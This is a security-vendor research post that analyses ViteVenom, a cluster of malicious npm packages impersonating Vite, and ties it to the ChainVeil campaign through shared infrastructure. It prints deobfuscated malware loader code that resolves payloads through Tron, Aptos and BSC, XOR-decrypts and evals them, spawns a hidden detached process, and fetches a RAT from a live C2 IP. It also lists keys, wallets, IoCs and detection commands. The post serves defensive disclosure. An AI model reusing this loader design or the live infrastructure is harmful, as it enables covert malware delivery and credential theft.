Gartner® Checkmarx Named a Leader in the 2026 Gartner® Magic Quadrant™ for Software Supply Chain Security Get the Report
Outlook Report The Future of Application Security in the Era of AI Download Now
Latest Innovations
Checkmarx for Developers
Partners
Blog
Research

Sequel to ChainVeil npm Malware Targets Vite Ecosystem

npm malware campaign ChainVeil has a sequel targeting the Vite ecosystem, that we’re calling “ViteVenom”. Read about how to identify this malware variant, defend against it, and find it in your environment.

A dark, grunge-style image with intertwined chains in the background. White text reads 'ChainVeil Part 2 ViteVenom npm malware'. The npm logo is on the left, and the Checkmarx ZERO logo is in the bottom right.

When we published our ChainVeil report in June 2026, we noted something that didn’t fit: the SuccessKey campaign’s Command and Control (Command and Control (C2)) infrastructure contained a secondary server at 198.105.127[.]210 and a tertiary server at 23.27.202[.]27 that no known ChainVeil package ever called home to. We predicted additional campaigns were already running on the same backend. We were right.

Checkmarx Zero has now identified a second package cluster — seven malicious npm packages targeting the Vite build tool ecosystem — that shares the same Tier-2 blockchain wallets, the same XOR (Exclusive OR) decryption keys, and delivers the exact same 77KB Remote Access Trojan (Remote Access Trojan (RAT)) as ChainVeil. We are tracking this cluster as ViteVenom. This report documents the packages, traces the shared infrastructure, and explains what the connection tells us about the operator behind both campaigns.

Overview of the ViteVenom cluster of ChainVeil npm malware packages

ViteVenom is a cluster of seven malicious scoped npm packages published in late June and early July 2026. All seven contain identical malicious code in bin/vite.js, differing only in a campaign marker on the first line. They use the same four-tier blockchain-based C2 infrastructure — Tron, Aptos, and Binance Smart Chain (BSC) — documented in ChainVeil, and they connect to the same secondary C2 server we flagged but could not explain in that report.

Unlike ChainVeil’s unscoped typosquats (like rate-limit-flexible), ViteVenom uses scoped package names such as @vite-pro/vite-ui and @vitets/vite-ts that mimic the legitimate @vitejs/* namespace. Scoped packages look more trustworthy in a package.json because they appear to belong to an organization — making this a step up in social engineering from ChainVeil’s approach.

All packages have been reported to npm and added to the Checkmarx malicious package database for users of our Malicious Package Protection (MPP) and Malicious Package Identification API (MPIAPI) products. If you have any of the packages listed below, begin incident response immediately.

The connection to ChainVeil — and why we attribute them to the same operator

The strongest link between ViteVenom and ChainVeil is not shared code or shared tactics. It is shared infrastructure at the Tier-2 level — the final stage in the blockchain resolution chain that delivers the actual RAT payload.

In ChainVeil, the malware resolved through two tiers of blockchain addresses. The Tier-1 wallets were specific to that campaign and held pointers to Binance Smart Chain transactions. Those BSC transactions in turn pointed to Tier-2 wallets that held the final 77KB RAT. When we decoded ViteVenom’s Stage 2A payload — retrieved from a separate set of Tier-1 wallets the ViteVenom packages use — it set these two global variables:

global._t_1 = 'TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v';   // Tron — Tier-2
global._t_2 = '0x533b2dbcaeff19cd1f799234a27b578d       // Aptos — Tier-2
              713d8fcaa341b7501e4526106483e0b1';

These are the exact same Tier-2 addresses used by ChainVeil. Both campaigns resolve their final stage through the same Tron wallet and Aptos account, pointing to the same BSC transaction, delivering the same RAT. The XOR keys embedded in both loaders are also identical: 2[gWfGj;<:-93Z^C] for Stage 2A and m6:tTh^D)cBz?NM] for Stage 2B.

What is shared between ViteVenom and ChainVeil:

Component ViteVenom ChainVeil Match?
XOR key (Stage 2A) 2[gWfGj;<:-93Z^C 2[gWfGj;<:-93Z^C IDENTICAL
XOR key (Stage 2B) m6:tTh^D)cBz?NM] m6:tTh^D)cBz?NM] IDENTICAL
Tier-2 Tron wallet TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v IDENTICAL
Tier-2 Aptos hash 0x533b2dbc...0b1 0x533b2dbc...0b1 IDENTICAL
BSC delimiter ?.? ?.? IDENTICAL
BSC RPC endpoints bsc-dataseed.binance.org bsc-dataseed.binance.org IDENTICAL
C2 server 198.105.127[.]210 166.88.54[.]158 Different
Campaign marker *5-* A6-519-* Different
Malicious file bin/vite.js lib/lib.min.js Different
Tier-1 Tron wallets TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP Different

Infrastructure sharing is the strongest available indicator of common control, but it carries a small margin of uncertainty. A Malware-as-a-Service model — in which a single infrastructure operator leases loader templates and backend wallets to multiple clients — could theoretically produce the same pattern. Under that model, ChainVeil and ViteVenom would be separate clients of a shared service rather than a single operator. We consider this less likely given the operational consistency across both clusters: the same XOR key template, the same loader structure, the same Tron-to-Aptos synchronized deployment timing. But we cannot rule it out based on technical evidence alone.

The per-campaign differences are also consistent with a single operator running compartmentalized distribution tracks: different Tier-1 wallets, different npm maintainer accounts, different malicious file paths, different C2 assignments. This gives the operator the ability to burn one track without exposing the others. ViteVenom is the Vite developer track; ChainVeil was the Tailwind/Sass/Object-Relational Mapping (ORM) track. The shared Tier-2 backend serves both.

The ViteVenom package cluster

All seven packages were published under separate npm maintainer accounts, each matching the package’s scope name. The campaign marker on the first line of each bin/vite.js follows the format global.i='*5-*' where the last digit varies per package or version. All packages were published in a narrow window between approximately June 29 and July 3, 2026.

Package name npm maintainer Malicious version(s) Downloads Campaign marker
@uw010010/vite-tree uw010010 3.4.2, 3.4.3, 3.6.1 1,070 global.i='*5-*'
@vite-tab/tab vite-tab 3.15.10 289 global.i='*5-*'
@vite-ln/build-ts vite-ln 5.15.10 252 global.i='*5-*'
@vite-mcp/vite-type vite-mcp 6.44.1 239 global.i='*5-*'
@vite-pro/vite-ui vite-pro 2.5.10 200 global.i='*5-*'
@vitets/vite-ts vitets 1.5.10 194 global.i='*5-*'
@vite-ts/vite-ui vite-ts 6.44.1 176 global.i='*5-*'

Campaign at a glance

Metric Value
Total packages 7
Total malicious versions 9
Combined downloads 2,420
Publish window ~Jun 29 – Jul 3, 2026
Campaign marker format global.i='*5-*'
Common malicious file bin/vite.js
C2 server 198.105.127[.]210
Related campaign ChainVeil (shared Tier-2 infrastructure)

Mixed clean and malicious versions: @uw010010/vite-tree

The package @uw010010/vite-tree is notable because it has five versions but not all are malicious. Versions 3.4.1 and 8.1.0 contain no malicious code. Versions 3.4.2, 3.4.3, and 3.6.1 all contain bin/vite.js and were published on the same day. Publishing clean versions alongside malicious ones makes the package look more established during a quick review, and means a scanner checking only the latest version (8.1.0) would find nothing wrong.

Version Malicious? Notes
3.4.1 No Clean — no malicious code
3.4.2 Yes Malicious — published same day as 3.4.3 and 3.6.1
3.4.3 Yes Malicious — published same day
3.6.1 Yes Malicious — published same day
8.1.0 No Clean — no malicious code

How the scopes impersonate legitimate packages

The legitimate Vite project publishes official packages under the @vitejs/* scope — for example @vitejs/plugin-react with over 30 million weekly downloads. ViteVenom creates fake scopes that look similar:

Fake scope (malicious) Impersonates
@vite-pro/* @vitejs/* (looks like a ‘pro’ edition)
@vite-ts/* @vitejs/* (looks like a TypeScript variant)
@vitets/* @vitest/* (Vitest testing framework, ~10M weekly downloads)
@vite-mcp/* @vitejs/* (uses trendy ‘Model Context Protocol (Model Context Protocol (MCP))’ branding)
@vite-tab/* Generic Vite tooling
@vite-ln/* Generic Vite tooling
@uw010010/* No direct impersonation

The scope @vitets is especially dangerous — just one character from @vitest, the popular testing framework. A developer seeing @vite-pro/vite-ui next to @vitejs/plugin-react in a package.json might not question it.

Figure 1: One of the ViteVenom packages on the npm registry

Technical analysis: bin/vite.js

We analyze bin/vite.js from @vitets/vite-ts v1.5.10 as the representative specimen. Every finding applies to all seven packages — the only difference is the campaign marker on the first line.

Stage 0: the entry point

The malware is disguised as a Vite CLI binary. The first lines set the campaign marker and hide keywords from static scanners:

global.i = '*5-3';              // Campaign marker (last digit varies)
 
global.r = require;             // Hide 'require' behind single letter
if (typeof module === 'object')
  global.m = module;            // Hide 'module' behind single letter

By storing require as global.r, every module load uses r('https') or r('child_process') instead of the original keywords — invisible to scanners that search for suspicious import strings.

The obfuscation: array-indexed string shuffling

A self-executing function takes a 653-character scrambled string and seed 4606094, applies a deterministic character-swap algorithm, and produces an array of 63 strings called _$_4445. Every sensitive value — URLs, blockchain addresses, XOR keys — is accessed by index lookup rather than written in plain text.

Figure 2: The obfuscated bin/vite.js file

Decoded string array — key values:

Index Decoded value Purpose
[26] hxxps://api[.]trongrid[.]io/v1/accounts/ Tron blockchain API
[33] hxxps://fullnode[.]mainnet[.]aptoslabs[.]com/v1/accounts/ Aptos blockchain API
[35] ?.? BSC payload delimiter
[39] eth_getTransactionByHash BSC Remote Procedure Call (RPC) method
[40] bsc-dataseed.binance.org BSC RPC primary node
[41] bsc-rpc.publicnode.com BSC RPC fallback node
[50] 2[gWfGj;<:-93Z^C XOR key (Stage 2A)
[51] TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF Tron wallet (Stage 2A)
[53] m6:tTh^D)cBz?NM] XOR key (Stage 2B)
[54] TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH Tron wallet (Stage 2B)
[62] child_process Process spawning module

Note: decoded URLs modified by editor for safety

Figure 3: The decoded string array showing blockchain addresses and XOR keys

Stage 1: the blockchain C2 system

This is the same blockchain-based C2 architecture we documented in ChainVeil. The attacker stores payload pointers as transaction data on public blockchains rather than on domain names that can be seized, making the infrastructure nearly impossible to take down.

How it works

The resolution follows four steps:

1. Query the Tron blockchain for the latest transaction from the attacker’s wallet.

2. Hex-decode and reverse the transaction data field — the result is a BSC transaction hash.

3. Query that BSC transaction. Its input field contains the encrypted payload.

4. XOR decrypt the payload using the hardcoded key.

If Tron fails, the code falls back to Aptos, which stores the same BSC pointer via a zero-value transfer where the destination address is the BSC hash.

async function fetchPayload(xorKey, tronAddr, aptosHash) {
  let pointer;
  try {
    // PRIMARY: Tron blockchain
    const resp = await httpGet(
      'hxxps://api[.]trongrid[.]io/v1/accounts/' + tronAddr +
      '/transactions?only_confirmed=true&only_from=true&limit=1'
    );
    pointer = Buffer.from(resp.data[0].raw_data.data, 'hex')
      .toString('utf8').split('').reverse().join('');
  } catch (e) {
    // FALLBACK: Aptos — BSC hash is the transfer destination address
    const resp = await httpGet(
      'hxxps://fullnode[.]mainnet[.]aptoslabs[.]com/v1/accounts/'
      + aptosHash + '/transactions?limit=1'
    );
    pointer = resp[0].payload.arguments[0];
  }
 
  // Resolve from BSC
  const bscResp = await rpcCall('eth_getTransactionByHash',
    [pointer], 'bsc-dataseed.binance.org');
  const encrypted = Buffer.from(
    bscResp.result.input.substring(2), 'hex'
  ).toString('utf8').split('?.?')[1];  // '?.?' delimiter
 
  // XOR decrypt
  let result = '';
  for (let i = 0; i < encrypted.length; i++)
    result += String.fromCharCode(
      encrypted.charCodeAt(i) ^ xorKey.charCodeAt(i % xorKey.length));
  return result;
}

Figure 4: The blockchain resolution code after deobfuscation

Two payloads, two execution paths

Stage 2A — dynamic path (eval in main thread)

// Stage 2A — executed via eval() in the main process
try {
  var payload1 = await fetchPayload(
    '2[gWfGj;<:-93Z^C',                    // XOR key
    'TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF',  // Tron wallet
    '0x9d202c82...d56519'                   // Aptos fallback
  );
  eval(payload1);
} catch (e) {}

Stage 2B — persistent path (detached hidden child process)

// Stage 2B — detached, invisible child process
try {
  var payload2 = await fetchPayload(
    'm6:tTh^D)cBz?NM]',                    // XOR key
    'TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH',  // Tron wallet
    '0x3d2075f9...f9471'                    // Aptos fallback
  );
  require('child_process').spawn('node', ['-e',
    "global['_V']='" + campaignMarker + "';" + payload2
  ], {
    detached: true,      // Survives parent process exit
    stdio: 'ignore',     // Completely silent
    windowsHide: true    // Hidden on Windows
  }).on('error', (e) => eval(payload2));
} catch (e) {}

Figure 5: Stage 2A (eval) and Stage 2B (detached process) execution paths

We traced the live blockchain chain

Stage 2A pointer resolution

Step Source Result
1. Tron query TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF Hex data in latest tx
2. Hex decode + reverse Tron data field 0x5ab85abe...08af0 (BSC tx hash)
3. Aptos cross-check 0x9d202c82...d56519 Same BSC hash — SYNCHRONIZED
4. Sync delta Aptos posted first ~5.1 seconds apart

Stage 2B pointer resolution

Step Source Result
1. Tron query TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH Hex data in latest tx
2. Hex decode + reverse Tron data field 0xbcc976e1...0616 (BSC tx hash)
3. Aptos cross-check 0x3d2075f9...f9471 Same BSC hash — SYNCHRONIZED
4. Sync delta Aptos posted first ~0.3 seconds apart

The 0.3-second synchronization delta on Stage 2B is tighter than ChainVeil’s ~6 seconds, suggesting the operator has refined their deployment tooling over the months between the two campaigns.

Figure 6: Tron transaction data for Stage 2A wallet on Tronscan

Figure 7: Aptos transaction — the BSC hash is stored as the transfer destination

Stage 2A: campaign configuration and Tier-2 loader

Decrypting the Stage 2A BSC payload (transaction 0x5ab85abe6c67adb94322e5700a36915c38d1db1e604920da8aa4fcb530408af0) reveals a second obfuscated layer containing the campaign configuration and the Tier-2 loader described in the attribution section above.

C2 server assignment

// C2 server — hardcoded in the BSC payload, overrides runtime routing
global._t_s = 'hxxp://198.105.127[.]210:443';  // C2 WebSocket/HTTP
global._t_u = 'hxxp://198.105.127[.]210:80';   // Upload endpoint
// Note: strings defanged — http → hxxp, IP brackets added

This is 198.105.127[.]210 — the secondary C2 we documented in ChainVeil but could not attribute to any package at the time. ViteVenom is the campaign that routes to it. The C2 is hardcoded directly in the BSC payload rather than being selected at runtime from the _V marker, meaning the C2 assignment happens at the blockchain payload level.

Figure 8: Decoded Stage 2A showing C2 server and shared Tier-2 wallet addresses

Stage 2B: the backup channel

Stage 2B runs as a detached hidden process and fetches the RAT directly from the C2 server over HTTP, bypassing the blockchain chain entirely. This provides a faster fallback path at the cost of being blockable via firewall.

// Stage 2B — direct HTTP fetch, no blockchain
var opts = {
  method: 'GET',
  path: '/$/boot',
  headers: {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; ...)',
    'Sec-V': campaignMarker  // '*5-*' identifies the campaign
  }
};
var decrypted = xorDecrypt(await httpRequest(opts), 'ThZG+0jfXE6VAGOJ');
eval(decrypted);
Path Source Resilience Speed
Stage 2A (blockchain) Tron → Aptos → BSC → XOR Cannot be taken down Slower (three API calls)
Stage 2B (direct HTTP) C2 /$/boot → XOR Can be firewall-blocked Fast (one HTTP call)

Anti-analysis techniques

ViteVenom uses the same anti-analysis pattern as ChainVeil:

Anti-tampering guards: Repeated checks verify the _$_4445 array exists throughout execution. Any researcher-induced modification causes silent exit.

Anti-replay guard: A 30-second cooldown prevents duplicate executions during module loading.

var now = (new Date()).getTime();
if (global._p_t && now - global._p_t < 30000) return;
global._p_t = now;

Keyword evasion: All sensitive strings — ‘require’, ‘child_process’, ‘https’, blockchain URLs, XOR keys — are hidden behind _$_4445 index lookups. A scanner searching for ‘child_process’ in the source will find nothing.

IoC for ChainVeil npm malware “ViteVenom” variant

Campaign summary

Attribute Value
Campaign cluster name ViteVenom
Related campaign ChainVeil (shared Tier-2 infrastructure)
Campaign marker format global.i='*5-*'
Malicious file bin/vite.js
Obfuscation seed 4606094

C2 servers — block all three

IP address Port(s) Campaign
198.105.127[.]210 443, 80 ViteVenom primary — WebSocket RAT, /$/boot delivery
166.88.54[.]158 443 ChainVeil primary — same operator
23.27.202[.]27 443, 27017 ChainVeil tertiary + MongoDB — same operator

Blockchain infrastructure

Tier Chain Address Purpose
1 Tron TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF Stage 2A pointer (ViteVenom)
1 Tron TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH Stage 2B pointer (ViteVenom)
1 Aptos 0x9d202c82...d56519 Stage 2A fallback (ViteVenom)
1 Aptos 0x3d2075f9...f9471 Stage 2B fallback (ViteVenom)
2 Tron TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v Final RAT pointer — SHARED with ChainVeil
2 Aptos 0x533b2dbc...0b1 Tier-2 fallback — SHARED with ChainVeil

BSC payload transactions

Payload BSC transaction hash
Stage 2A 0x5ab85abe6c67adb94322e5700a36915c38d1db1e604920da8aa4fcb530408af0
Stage 2B 0xbcc976e1c8f3dfd93e146ff424836a9635ab36d991a54675635d7fdf30e60616

Cryptographic material

Key Value Used for
XOR key (Tier-1, 2A) 2[gWfGj;<:-93Z^C Decrypt Stage 2A + final RAT from BSC
XOR key (Tier-1, 2B) m6:tTh^D)cBz?NM] Decrypt Stage 2B from BSC
XOR key (HTTP) ThZG+0jfXE6VAGOJ Decrypt /$/boot HTTP response
BSC delimiter ?.? Separates junk prefix from encrypted payload

ViteVenom packages

Package Maintainer Malicious version(s) Downloads
@uw010010/vite-tree uw010010 3.4.2, 3.4.3, 3.6.1 (clean: 3.4.1, 8.1.0) 1,070
@vite-tab/tab vite-tab 3.15.10 289
@vite-ln/build-ts vite-ln 5.15.10 252
@vite-mcp/vite-type vite-mcp 6.44.1 239
@vite-pro/vite-ui vite-pro 2.5.10 200
@vitets/vite-ts vitets 1.5.10 194
@vite-ts/vite-ui vite-ts 6.44.1 176

ChainVeil npm malware “ViteVenom” variant timeline

Date Event
Feb 27, 2026 ViteVenom Stage 2B wallets activated (Tron + Aptos, 0.3s sync)
Mar 24, 2026 ChainVeil Tier-1 wallets funded, infrastructure expansion
May 18, 2026 First ChainVeil npm packages published (tailwindcss-animatics)
May 19, 2026 ViteVenom Stage 2A pointer updated (24th rotation)
Jun 6–10, 2026 ChainVeil burst — nine packages published
~Jun 29, 2026 ViteVenom npm packages begin publishing (seven packages)
Jul 3, 2026 Both clusters reported to npm and taken down — C2 remains online

The ViteVenom Stage 2B infrastructure was activated on February 27, 2026 — a full month before ChainVeil’s infrastructure expansion in March. With 24 Aptos rotations on the Stage 2A account by May, this infrastructure has been actively maintained for months. The npm packages are simply the latest delivery wrapper on a long-running blockchain C2 backend.

Figure 9: Combined campaign timeline showing ViteVenom and ChainVeil milestones

Detection and remediation

Check if you are affected

# Check for any ViteVenom package
for p in @vite-pro/vite-ui @vitets/vite-ts @vite-ts/vite-ui \
         @vite-mcp/vite-type @uw010010/vite-tree \
         @vite-tab/tab @vite-ln/build-ts; do
  npm ls "$p" 2>/dev/null | grep -q "$p" && echo "INFECTED: $p"
done
 
# Hunt the malicious file
find node_modules -path '*/bin/vite.js' \
  -exec grep -l "global.i" {} \;
 
# Scan lockfiles
grep -rEn '@vite-(pro|ts|mcp|tab|ln)/|@vitets/|@uw010010/' \
  --include='package-lock.json' \
  --include='pnpm-lock.yaml' \
  --include='yarn.lock'
 
# Hunt shared infrastructure signatures in any JS file
grep -rP '(trongrid\.io|aptoslabs\.com|bsc-dataseed|2\[gWfGj)' \
  --include='*.js'

Network indicators

# Block all three C2s — same operator
block ip 198.105.127.210 any   # ViteVenom
block ip 166.88.54.158 any     # ChainVeil primary
block ip 23.27.202.27 any      # ChainVeil tertiary

Remediation steps

If a machine is compromised:

1. Uninstall all ViteVenom packages from every project. Check lockfiles across all repositories — a teammate’s lockfile may pull one in.

2. The real Vite packages are under the @vitejs/* scope (@vitejs/plugin-react, @vitejs/plugin-legacy). Install those if needed.

3. Kill orphaned ‘node -e‘ processes running with detached: true.

4. Inspect .bashrc, .zshrc, and .profile for content injected after 200+ spaces of whitespace padding — the RAT hides persistence code this way.

5. Rotate all credentials immediately — Secure Shell (SSH) keys, npm tokens, cloud credentials, API keys, environment variables.

6. Block all three C2 IPs at the network level: 198.105.127[.]210, 166.88.54[.]158, 23.27.202[.]27.

7. Search for machine ID files: find / -name 'machineId' -path '*/..*/*'

8. Audit your full dependency tree for any packages from suspicious @vite-* scopes.

Conclusion

When we published ChainVeil, we predicted the unused C2 servers and the three-tier routing architecture implied additional campaigns were already running. ViteVenom confirms that prediction. The same Tier-2 blockchain infrastructure, the same XOR keys, and the same final RAT payload connect both clusters to the same backend. The surface-level differences — different package names, different maintainer accounts, different Tier-1 wallets, different malicious file paths — are consistent with how a single operator would compartmentalize multiple distribution tracks to limit exposure.

Key takeaways:

  • The blockchain C2 infrastructure is the persistent layer. ChainVeil packages were taken down. ViteVenom packages were taken down. The Tier-2 blockchain wallets, the BSC transactions, and the C2 servers remained fully operational throughout. Defenders should treat shared infrastructure signatures — XOR keys, wallet addresses, BSC delimiter, C2 IPs — as the primary detection layer, not individual package names.
  • Scoped packages are a more sophisticated delivery mechanism. ViteVenom’s @vite-pro/*, @vite-ts/*, and @vitets/* scopes look more trustworthy than unscoped typosquats. The @vitets scope is one character from the legitimate @vitest framework with 10 million weekly downloads. Dependency review tools need to account for scoped impersonation, not just name similarity.
  • Mixed clean and malicious versions defeat version-based scanning. The @uw010010/vite-tree package published clean versions 3.4.1 and 8.1.0 alongside malicious versions 3.4.2, 3.4.3, and 3.6.1. A scanner or reviewer checking only the latest version would see nothing wrong.
  • The operation is ongoing. The Stage 2B wallet was activated in February 2026. The Stage 2A account has 24 rotations. All three C2 servers remain online. The infrastructure predates both known campaign clusters, and we expect additional distribution tracks targeting other JavaScript ecosystems.

Attribution note: We attribute both ViteVenom and ChainVeil to the same operator with high confidence based on shared Tier-2 wallet addresses, shared cryptographic keys, and consistent deployment tooling and timing patterns. That said, blockchain attribution carries inherent limitations without corroborating identity evidence. A shared-infrastructure-as-a-service model cannot be ruled out on technical grounds alone. We present the evidence and our assessment; readers should weigh both.

Security Information and Event Management (SIEM) configuration (machine-readable IoC)

{
  "campaign_cluster": "ViteVenom",
  "related_campaign": "ChainVeil",
  "marker_format": "*5-*",
  "packages": [
    {"name":"@uw010010/vite-tree","maintainer":"uw010010",
     "malicious_versions":["3.4.2","3.4.3","3.6.1"],
     "clean_versions":["3.4.1","8.1.0"],"downloads":1070},
    {"name":"@vite-tab/tab","maintainer":"vite-tab",
     "versions":["3.15.10"],"downloads":289},
    {"name":"@vite-ln/build-ts","maintainer":"vite-ln",
     "versions":["5.15.10"],"downloads":252},
    {"name":"@vite-mcp/vite-type","maintainer":"vite-mcp",
     "versions":["6.44.1"],"downloads":239},
    {"name":"@vite-pro/vite-ui","maintainer":"vite-pro",
     "versions":["2.5.10"],"downloads":200},
    {"name":"@vitets/vite-ts","maintainer":"vitets",
     "versions":["1.5.10"],"downloads":194},
    {"name":"@vite-ts/vite-ui","maintainer":"vite-ts",
     "versions":["6.44.1"],"downloads":176}
  ],
  "c2_servers": [
    {"ip":"198.105.127.210","ports":[443,80],"campaign":"ViteVenom"},
    {"ip":"166.88.54.158","ports":[443],"campaign":"ChainVeil"},
    {"ip":"23.27.202.27","ports":[443,27017],"campaign":"ChainVeil"}
  ],
  "blockchain_wallets": {
    "tron_tier1_vitevenom": [
      "TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF",
      "TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH"
    ],
    "aptos_tier1_vitevenom": [
      "0x9d202c824402ca89e9aaccd2390b6f8b332ae743caa1469c695feb2781d56519",
      "0x3d2075f97b7b1e3234bd653779d21c605d7d8c6ec9c98d983880be5c7f4f9471"
    ],
    "tron_tier2_shared": "TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v",
    "aptos_tier2_shared": "0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1"
  },
  "bsc_transactions": [
    "0x5ab85abe6c67adb94322e5700a36915c38d1db1e604920da8aa4fcb530408af0",
    "0xbcc976e1c8f3dfd93e146ff424836a9635ab36d991a54675635d7fdf30e60616"
  ],
  "xor_keys": ["2[gWfGj;<:-93Z^C","m6:tTh^D)cBz?NM]","ThZG+0jfXE6VAGOJ"]
}

Feature image includes a colorized and cropped version of “Chain BW-1” by Gary Millar, CC BY 2.0

Tags:

Malicious Packages

NPM

Open-Source Projects

Open-Source Supply Chain

Software Supply Chain Security